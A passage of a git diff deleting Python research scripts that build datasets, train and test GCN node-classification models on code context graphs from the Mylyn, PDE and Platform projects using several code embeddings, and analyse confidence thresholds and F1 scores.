此选项指定本地端口转发。它将本地机器上的端口 8080 转发到远程地址 127.0.0.1 的端口 8080。 \ No newline at end of file diff --git a/rq2/different_embedding/astnn+codebert/result_analyse.py b/rq2/different_embedding/astnn+codebert/result_analyse.py deleted file mode 100644 index 5038444..0000000 --- a/rq2/different_embedding/astnn+codebert/result_analyse.py +++ /dev/null @@ -1,216 +0,0 @@ -import numpy as np -from collections import Counter - - -def read_result(step: int): - result = [] - with open(f'./specific_result_{step}.txt', 'r') as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('---'): - continue - else: - result.append(line.split(' ')) - return result - - -def all_positive(data): - print('\n---------all positive----------\n') - filtered_data = [item for item in data if item[4] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0.0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f}: {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def true_node(data): - print('\n---------true nodes----------\n') - filtered_data = [item for item in data if item[4] == "True"] - print(len(filtered_data)) - - # 提取confidence和stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f} {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def false_node(data): - print('\n---------false nodes----------\n') - # 筛选第五列等于 "True" 且第六列等于 "False" 的数据 - filtered_data = [item for item in data if item[4] == "False"] - print(len(filtered_data)) - - # 提取stereotype - third_column = [float(item[2]) for item in filtered_data] - fourth_column = [item[3] for item in filtered_data] - - # 计算confidence数据的统计值 - third_column_min = np.min(third_column) - third_column_max = np.max(third_column) - third_column_median = np.median(third_column) - third_column_mean = np.mean(third_column) - third_column_variance = np.var(third_column) - - # confidence数据分段统计 - bins = np.arange(0, 1.1, 0.1) - hist, bin_edges = np.histogram(third_column, bins=bins) - total_count = len(third_column) - proportions = hist / total_count - - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(fourth_column) - total_fourth_count = len(fourth_column) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - - # 输出结果 - print("confidence数据的统计值:") - print(f"最小值: {third_column_min}") - print(f"最大值: {third_column_max}") - print(f"中位数: {third_column_median}") - print(f"平均值: {third_column_mean}") - print(f"方差: {third_column_variance}") - - print("\nconfidence数据的分段统计 (0 到 1 间隔 0.1):") - for i in range(len(hist)): - print(f"{bin_edges[i]:.1f}-{bin_edges[i + 1]:.1f}: {hist[i]} {proportions[i]:.2%}") - - print("\nkind 数据的统计:") - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - return third_column - - -def specific_analyze(result, threshold): - print(f'\n---------threshold: {threshold}----------') - print('---------false negative----------') - kind = [item[3] for item in result if item[4] == "True" and float(item[2]) < threshold] - print(len(kind)) - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(kind) - total_fourth_count = len(kind) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - print('---------false positive----------') - kind = [item[3] for item in result if item[4] == "False" and float(item[2]) >= threshold] - print(len(kind)) - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(kind) - total_fourth_count = len(kind) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - print('---------true positive----------') - kind = [item[3] for item in result if item[4] == "True" and float(item[2]) >= threshold] - print(len(kind)) - # 统计stereotype每个字符串出现的次数 - fourth_column_counts = Counter(kind) - total_fourth_count = len(kind) - fourth_column_proportions = {key: count / total_fourth_count for key, count in fourth_column_counts.items()} - for key, count in fourth_column_counts.items(): - print(f"{key} {count} {fourth_column_proportions[key]:.2%}") - - - -def calculate_result(true_nodes, false_nodes): - # 阈值范围 - thresholds = np.arange(0.1, 1.1, 0.1) - # 存储结果 - results = [] - for threshold in thresholds: - tp_count = sum(1 for x in true_nodes if x >= threshold) - fp_count = sum(1 for x in false_nodes if x >= threshold) - fn_count = sum(1 for x in true_nodes if x < threshold) - # Avoid division by zero - precision = tp_count / (tp_count + fp_count) if (tp_count + fp_count) > 0 else 0 - recall = tp_count / (tp_count + fn_count) if (tp_count + fn_count) > 0 else 0 - f1_score = (2 * precision * recall / (precision + recall)) if (precision + recall) > 0 else 0 - results.append((threshold, tp_count, fp_count, fn_count, precision, recall, f1_score)) - # 打印结果 - print(f"{'Threshold':>10} {'TP':>5} {'FP':>5} {'FN':>5} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for threshold, tp_count, fp_count, fn_count, precision, recall, f1_score in results: - print( - f"{threshold:>10.1f} {tp_count:>5} {fp_count:>5} {fn_count:>5} {precision:>10.3f} {recall:>10.3f} {f1_score:>10.3f}") - - -if __name__ == '__main__': - step = 1 - threshold = 0.4 - result = read_result(step) - print(len(result)) - false_nodes = false_node(result) - true_nodes = true_node(result) - specific_analyze(result, threshold) - print(f"\nAll nodes: {len(false_nodes) + len(true_nodes)}") - calculate_result(true_nodes, false_nodes) diff --git a/rq2/different_embedding/astnn_codebert/ac_embedding.py b/rq2/different_embedding/astnn_codebert/ac_embedding.py deleted file mode 100644 index 3a5fdf5..0000000 --- a/rq2/different_embedding/astnn_codebert/ac_embedding.py +++ /dev/null @@ -1,68 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -# os.environ["CUDA_VISIBLE_DEVICES"] = "1" # GPU编号 - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_ecf', 'my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'all' -embedding_type = 'my' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = ['GCN3'][0] -under_sampling_threshold = [5.0, 10.0, 40.0][2] -code_embedding = 200 -epochs = 50 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.5 - -for step in [1, 2, 3]: - # construct input: train, valid, test dataset of four project - construct_input.main_func( - description=description, - step=step, - dest_path=current_path, - embedding_type=embedding_type - ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - dropout=dropout, - out_feats=out_feats, - ) - - # show train result - view.main_func( - result_path=current_path, - step=step, - load_name=result_name - ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats - ) diff --git a/rq2/different_embedding/codebert/codebert_embedding.py b/rq2/different_embedding/codebert/codebert_embedding.py deleted file mode 100644 index 1b2dc9f..0000000 --- a/rq2/different_embedding/codebert/codebert_embedding.py +++ /dev/null @@ -1,80 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -os.environ["CUDA_VISIBLE_DEVICES"] = "2" # GPU编号 - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_pde', 'my_platform', 'my_mylyn'], step=3) - -# parameters -description = 'mylyn' -embedding_type = 'codebert' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = ['GCN3'][0] -under_sampling_threshold = [5.0, 10.0, 15.0, 20.0, 30.0, 40.0, 50.0, 0][1] # 0表示不进行欠采样 40 是比例最好的 -code_embedding = 1024 -epochs = 100 -lr = 0.0001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 256 -hidden_size_2 = 128 -out_feats = 64 -dropout = 0.1 -threshold = 0.4 - -construct = False -load_lazy = True - -print(hidden_size, hidden_size_2, out_feats) - -for step in [1]: - # construct input: train, valid, test dataset of four project - if construct and not load_lazy: - construct_input.main_func( - description=description, - step=step, - dest_path=current_path, - embedding_type=embedding_type - ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - hidden_size_2=hidden_size_2, - out_feats=out_feats, - dropout=dropout, - threshold=threshold, - load_lazy=load_lazy - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - hidden_size_2=hidden_size_2, - out_feats=out_feats, - load_lazy=load_lazy - ) diff --git a/rq2/different_embedding/glove/glove_embedding.py b/rq2/different_embedding/glove/glove_embedding.py deleted file mode 100644 index 69e4477..0000000 --- a/rq2/different_embedding/glove/glove_embedding.py +++ /dev/null @@ -1,114 +0,0 @@ -import os -from os.path import join - -from pathlib import Path -import argparse - -os.sys.path.append(str(Path(__file__).absolute().parent.parent.parent)) - -from GNN_Node_Classification import construct_input, node_classification, test_model -import nni - -# parameters -parser = argparse.ArgumentParser() -parser.add_argument("--nni", type=bool, required=False, default=False) -parser.add_argument("--step", type=int, required=False, default=1) -parser.add_argument("--gpu", type=str, required=False, default='0') -args = parser.parse_args() - -construct = True -load_lazy = True - -my_params = { - 'description': 'mylyn', - 'embedding_type': 'astnn+glove', - 'current_path': join(os.path.dirname(os.path.realpath(__file__))), # save to current dir - 'step': args.step, - 'under_sampling_threshold': 15.0, - 'model_type': 'GCN', - 'num_layers': 3, - 'in_feats': 1024, - 'hidden_size': 512, - 'dropout': 0.1, - 'attention_heads': 8, - 'num_heads': 8, - 'num_edge_types': 6, - 'epochs': 80, - 'lr': 0.001, - 'batch_size': 16, - 'threshold': 0.4, - 'weight_decay': 1e-6, - 'approach': 'attention' -} - -if not args.nni: - assert args.gpu != '' - os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu -else: - optimized_params = nni.get_next_parameter() - params = my_params.keys() - for param in params: - if param in optimized_params: - my_params[param] = optimized_params[param] - -my_params[ - "result_name"] = f"{my_params['description']}_{my_params['model_type']}_{my_params['embedding_type']}_{my_params['under_sampling_threshold']}_model" - -print(my_params) -# construct input: train, valid, test dataset of four project -if construct: - construct_input.main_func( - description=my_params['description'], - step=my_params['step'], - dest_path=my_params['current_path'], - embedding_type=my_params['embedding_type'], - under_sampling_threshold=my_params['under_sampling_threshold'] - ) - -# train and save model -node_classification.main_func( - save_path=my_params['current_path'], - save_name=my_params['result_name'], - step=my_params['step'], - under_sampling_threshold=my_params['under_sampling_threshold'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - dropout=my_params['dropout'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - epochs=my_params['epochs'], - lr=my_params['lr'], - batch_size=my_params['batch_size'], - threshold=my_params['threshold'], - weight_decay=my_params['weight_decay'], - approach=my_params['approach'], - load_lazy=load_lazy, - use_nni=args.nni -) - -# show train result -# view.main_func( -# result_path=current_path, -# step=step, -# load_name=result_name -# ) - -# test model -test_model.main_func( - model_path=my_params['current_path'], - load_name=my_params['result_name'], - step=my_params['step'], - model_type=my_params['model_type'], - num_layers=my_params['num_layers'], - in_feats=my_params['in_feats'], - hidden_size=my_params['hidden_size'], - attention_heads=my_params['attention_heads'], - num_heads=my_params['num_heads'], - num_edge_types=my_params['num_edge_types'], - load_lazy=load_lazy, - approach=my_params['approach'], - use_nni=args.nni -) diff --git a/rq2/different_embedding/onlytype/type_construct.py b/rq2/different_embedding/onlytype/type_construct.py deleted file mode 100644 index e96ede9..0000000 --- a/rq2/different_embedding/onlytype/type_construct.py +++ /dev/null @@ -1,112 +0,0 @@ -""" -用于构建 GNN 的输入 -格式如下: -节点信息(nodes.tsv):(node_id, code_embedding) node_id即java_code的文件id即可,code_embedding 即 200 embedding vector -边信息(edges.tsv):(start_node_id, end_node_id, relation_vector) relation_vector即四种关系的one-hot编码表示 -[declares, calls, inherits, implements] -""" - -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -import numpy as np -import pandas as pd -import torch.nn - -from dataset_split_util import get_models_by_ratio - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))), 'params_validation', - 'git_repo_code') - -edge_vector = { - "declares": 0, - "calls": 1, - "inherits": 2, - "implements": 3 -} -dataset_ratio = { - 'train': [0.0, 0.8], - 'valid': [0.8, 0.9], - 'test': [0.9, 1.0] -} - -EMBEDDING = torch.nn.Embedding(4, 200) -# EMBEDDING = torch.nn.functional.one_hot(torch.arange(0, 4)) -KIND = { - 'class': 0, - 'interface': 1, - 'function': 2, - 'variable': 3 -} - -def save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name): - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'{str(step)}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - base = 0 - for graph in graphs: - # 创建保存nodes和edges的数据结构 - nodes_tsv = list() - edges_tsv = list() - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - _id, kind = int(vertex.get('id')), vertex.get('kind') - # 去找 embedding 并添加 这儿不知道为什么会多一层列表 - # embedding = EMBEDDING[KIND[kind]].squeeze() - embedding = EMBEDDING(torch.tensor(KIND[kind])).squeeze() - # print(embedding.tolist()) - nodes_tsv.append([_id, embedding.tolist(), int(vertex.get('origin'))]) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - edges_tsv.append([int(edge.get('start')), int(edge.get('end')), edge_vector[edge.get('label')]]) - dest = join(dest_path, f'model_dataset_{str(step)}', dataset, - f'{project_model_name}_{model_dir}_{str(base)}') - if os.path.exists(dest): - shutil.rmtree(dest) - os.makedirs(dest) - # 如果没有节点,或者没有边,或者没有正边,都需要过滤掉 - if len(nodes_tsv) > 0 and len(edges_tsv) > 0: - pd.DataFrame(nodes_tsv, columns=['node_id', 'code_embedding', 'label']).to_csv( - join(dest, 'nodes.tsv'), index=False) - pd.DataFrame(edges_tsv, columns=['start_node_id', 'end_node_id', 'relation']).to_csv( - join(dest, 'edges.tsv'), index=False) - base += 1 - - -def main_func(description: str, step: int, dest_path: str): - """ - 构建并拆分数据集 - all: 四个项目分别拆分成train,valid,test : 比例8:1:1 \n - onlymylyn: mylyn作为train, 其余三个项目各自拆分为valid,test=3:7 - nopde:pde拆分为valid:test=3:7,其余为train - noplatform: platform差分为valid:test=3:7,其余为train - - :param description: all, onlymylyn, nopde, noplatform - :param step: 步长 - :param dest_path: 数据集保存的路径 - :return: - """ - if os.path.exists(join(dest_path, f'model_dataset_{str(step)}')): - shutil.rmtree(join(dest_path, f'model_dataset_{str(step)}')) - if description == 'all': - project_model_list = ['my_mylyn', 'my_pde', 'my_platform'] - for project_model_name in project_model_list: - project_path = join(root_path, project_model_name, 'repo_first_3') - for dataset in dataset_ratio: - ratios = dataset_ratio.get(dataset) - model_dir_list = get_models_by_ratio(project_model_name, ratios[0], ratios[1]) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name) diff --git a/rq2/different_embedding/onlytype/type_embedding.py b/rq2/different_embedding/onlytype/type_embedding.py deleted file mode 100644 index 2242b87..0000000 --- a/rq2/different_embedding/onlytype/type_embedding.py +++ /dev/null @@ -1,70 +0,0 @@ -import os -from os.path import join - -import type_construct -from GNN_Node_Classification import data_estimator, node_classification, view, test_model - -os.environ["CUDA_VISIBLE_DEVICES"] = "2" # GPU编号 - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'all' -embedding_type = 'type' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = 'GCN3' -under_sampling_threshold = 40.0 -code_embedding = 200 -epochs = 50 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 - -for step in [1, 2, 3]: -# for step in [1, 2, 3]: - # construct input: train, valid, test dataset of four project - # type_construct.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold, - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats, - ) diff --git a/rq2/different_embedding/stereotype/stereotype_construct.py b/rq2/different_embedding/stereotype/stereotype_construct.py deleted file mode 100644 index 457c08a..0000000 --- a/rq2/different_embedding/stereotype/stereotype_construct.py +++ /dev/null @@ -1,146 +0,0 @@ -""" -用于构建 GNN 的输入 -格式如下: -节点信息(nodes.tsv):(node_id, code_embedding) node_id即java_code的文件id即可,code_embedding 即 200 embedding vector -边信息(edges.tsv):(start_node_id, end_node_id, relation_vector) relation_vector即四种关系的one-hot编码表示 -[declares, calls, inherits, implements] -""" - -import os -import shutil -from os.path import join -import xml.etree.ElementTree as ET - -import numpy as np -import pandas as pd - -from dataset_split_util import get_models_by_ratio - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))), - 'params_validation', - 'git_repo_code') - -edge_vector = { - "declares": 0, - "calls": 1, - "inherits": 2, - "implements": 3 -} -dataset_ratio = { - 'train': [0.0, 0.8], - 'valid': [0.8, 0.9], - 'test': [0.9, 1.0] -} - -step_1 = ['FACTORY-LOCAL_CONTROLLER', 'LAZY_CLASS', 'FIELD', 'FACTORY', 'FACTORY-COLLABORATOR', - 'CONSTRUCTOR-CONTROLLER', 'COMMAND-COLLABORATOR', 'VOID_ACCESSOR-COLLABORATOR', 'LOCAL_CONTROLLER', - 'COMMAND-LOCAL_CONTROLLER', 'CONSTRUCTOR-LOCAL_CONTROLLER', 'GET', 'BOUNDARY-DATA_PROVIDER', 'DATA_PROVIDER', - 'BOUNDARY', 'ABSTRACT', 'NON_VOID_COMMAND-COLLABORATOR', 'ENTITY', 'PROPERTY', 'EMPTY', 'CONTROLLER', - 'BOUNDARY-COMMANDER', 'PREDICATE', 'SET-COLLABORATOR', 'PREDICATE-COLLABORATOR', 'DATA_CLASS', 'OTHER', - 'INCIDENTAL', 'GET-COLLABORATOR', 'CONSTRUCTOR', 'PROPERTY-LOCAL_CONTROLLER', 'COMMANDER', - 'PREDICATE-LOCAL_CONTROLLER', 'MINIMAL_ENTITY', 'PROPERTY-COLLABORATOR', 'SET-LOCAL_CONTROLLER', - 'CONSTRUCTOR-COLLABORATOR', 'INTERFACE', 'GET-LOCAL_CONTROLLER', 'COLLABORATOR', - 'NON_VOID_COMMAND-LOCAL_CONTROLLER', 'NOTFOUND', 'NON_VOID_COMMAND', 'POOL', 'SET', 'DEGENERATE', 'COMMAND'] - -onehot_1 = np.eye(len(step_1) + 1) # 48 - -step_2 = ['CONSTRUCTOR', 'FACTORY-CONTROLLER', 'FACTORY-COLLABORATOR', 'GET-COLLABORATOR', 'BOUNDARY', - 'COMMAND-LOCAL_CONTROLLER', 'PREDICATE-COLLABORATOR', 'DATA_PROVIDER', 'ENTITY', 'COMMANDER', - 'LOCAL_CONTROLLER', 'FACTORY-LOCAL_CONTROLLER', 'CONSTRUCTOR-LOCAL_CONTROLLER', 'LAZY_CLASS', 'INCIDENTAL', - 'POOL', 'DEGENERATE', 'GET', 'SET-COLLABORATOR', 'EMPTY', 'BOUNDARY-DATA_PROVIDER', 'MINIMAL_ENTITY', - 'NON_VOID_COMMAND-COLLABORATOR', 'FACTORY', 'VOID_ACCESSOR-COLLABORATOR', 'FIELD', 'INTERFACE', 'PROPERTY', - 'BOUNDARY-COMMANDER', 'PREDICATE-LOCAL_CONTROLLER', 'SET', 'NON_VOID_COMMAND', 'PROPERTY-COLLABORATOR', - 'GET-LOCAL_CONTROLLER', 'OTHER', 'NOTFOUND', 'ABSTRACT', 'DATA_CLASS', 'CONSTRUCTOR-CONTROLLER', - 'NON_VOID_COMMAND-LOCAL_CONTROLLER', 'COLLABORATOR', 'CONSTRUCTOR-COLLABORATOR', 'PROPERTY-LOCAL_CONTROLLER', - 'PREDICATE', 'COMMAND', 'CONTROLLER', 'SET-LOCAL_CONTROLLER', 'COMMAND-COLLABORATOR'] -onehot_2 = np.eye(len(step_2) + 1) # 49 - -step_3 = ['SET-COLLABORATOR', 'NON_VOID_COMMAND-COLLABORATOR', 'CONSTRUCTOR-CONTROLLER', 'PREDICATE', 'CONSTRUCTOR', - 'PROPERTY-COLLABORATOR', 'VOID_ACCESSOR-COLLABORATOR', 'GET-COLLABORATOR', 'DATA_CLASS', 'LAZY_CLASS', - 'CONSTRUCTOR-COLLABORATOR', 'NON_VOID_COMMAND', 'FIELD', 'PROPERTY', 'COMMAND-LOCAL_CONTROLLER', - 'LOCAL_CONTROLLER', 'ENTITY', 'NOTFOUND', 'SET-LOCAL_CONTROLLER', 'DEGENERATE', 'GET', - 'PREDICATE-COLLABORATOR', 'EMPTY', 'BOUNDARY', 'MINIMAL_ENTITY', 'FACTORY', 'ABSTRACT', 'POOL', 'COMMANDER', - 'INCIDENTAL', 'BOUNDARY-DATA_PROVIDER', 'FACTORY-COLLABORATOR', 'CONSTRUCTOR-LOCAL_CONTROLLER', - 'GET-LOCAL_CONTROLLER', 'DATA_PROVIDER', 'INTERFACE', 'NON_VOID_COMMAND-LOCAL_CONTROLLER', 'SET', - 'FACTORY-LOCAL_CONTROLLER', 'COLLABORATOR', 'PREDICATE-LOCAL_CONTROLLER', 'COMMAND-COLLABORATOR', - 'BOUNDARY-COMMANDER', 'CONTROLLER', 'PROPERTY-LOCAL_CONTROLLER', 'OTHER', 'COMMAND'] -onehot_3 = np.eye(len(step_3) + 1) # 48 - - -def save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name): - if step == 1: - onehot = onehot_1 - step_s = step_1 - elif step == 2: - onehot = onehot_2 - step_s = step_2 - else: - onehot = onehot_3 - step_s = step_3 - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'{str(step)}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - base = 0 - for graph in graphs: - # 创建保存nodes和edges的数据结构 - nodes_tsv = list() - edges_tsv = list() - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - stereotype = vertex.get('stereotype') - _id = int(vertex.get('id')) - # 去找 embedding 并添加 这儿不知道为什么会多一层列表 - embedding = onehot[step_s.index(stereotype)] if stereotype in step_s else onehot[len(step_s)] - nodes_tsv.append([_id, embedding.tolist(), int(vertex.get('origin'))]) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - edges_tsv.append([int(edge.get('start')), int(edge.get('end')), edge_vector[edge.get('label')]]) - dest = join(dest_path, f'model_dataset_{str(step)}', dataset, - f'{project_model_name}_{model_dir}_{str(base)}') - if os.path.exists(dest): - shutil.rmtree(dest) - os.makedirs(dest) - # 如果没有节点,或者没有边,或者没有正边,都需要过滤掉 - if len(nodes_tsv) > 0 and len(edges_tsv) > 0: - pd.DataFrame(nodes_tsv, columns=['node_id', 'code_embedding', 'label']).to_csv( - join(dest, 'nodes.tsv'), index=False) - pd.DataFrame(edges_tsv, columns=['start_node_id', 'end_node_id', 'relation']).to_csv( - join(dest, 'edges.tsv'), index=False) - base += 1 - - -def main_func(description: str, step: int, dest_path: str): - """ - 构建并拆分数据集 - all: 四个项目分别拆分成train,valid,test : 比例8:1:1 \n - onlymylyn: mylyn作为train, 其余三个项目各自拆分为valid,test=3:7 - nopde:pde拆分为valid:test=3:7,其余为train - noplatform: platform差分为valid:test=3:7,其余为train - - :param description: all, onlymylyn, nopde, noplatform - :param step: 步长 - :param dest_path: 数据集保存的路径 - :return: - """ - if os.path.exists(join(dest_path, f'model_dataset_{str(step)}')): - shutil.rmtree(join(dest_path, f'model_dataset_{str(step)}')) - if description == 'all': - project_model_list = ['my_mylyn', 'my_pde', 'my_platform'] - for project_model_name in project_model_list: - project_path = join(root_path, project_model_name, 'repo_first_3') - for dataset in dataset_ratio: - ratios = dataset_ratio.get(dataset) - model_dir_list = get_models_by_ratio(project_model_name, ratios[0], ratios[1]) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - save_model(project_path, model_dir_list, step, dest_path, dataset, project_model_name) diff --git a/rq2/different_embedding/stereotype/stereotype_onehot.py b/rq2/different_embedding/stereotype/stereotype_onehot.py deleted file mode 100644 index f5f95b1..0000000 --- a/rq2/different_embedding/stereotype/stereotype_onehot.py +++ /dev/null @@ -1,69 +0,0 @@ -import os -from os.path import join - -import stereotype_construct -from GNN_Node_Classification import data_estimator, node_classification, view, test_model - -# os.environ["CUDA_VISIBLE_DEVICES"] = "2" # GPU编号 - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'all' -embedding_type = 'stereotype' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = ['GCN3'][0] -under_sampling_threshold = [5.0, 10.0, 20.0, 40.0][3] # 0表示不进行欠采样 -code_embedding = 53 -epochs = 50 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 - -for step in [1, 2, 3]: - # construct input: train, valid, test dataset of four project - # stereotype_construct.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats - ) diff --git a/rq4/all/entry.py b/rq4/all/entry.py deleted file mode 100644 index 386d511..0000000 --- a/rq4/all/entry.py +++ /dev/null @@ -1,73 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -os.environ["CUDA_VISIBLE_DEVICES"] = "2" # GPU编号 - -# see the sample ratios of four project -# 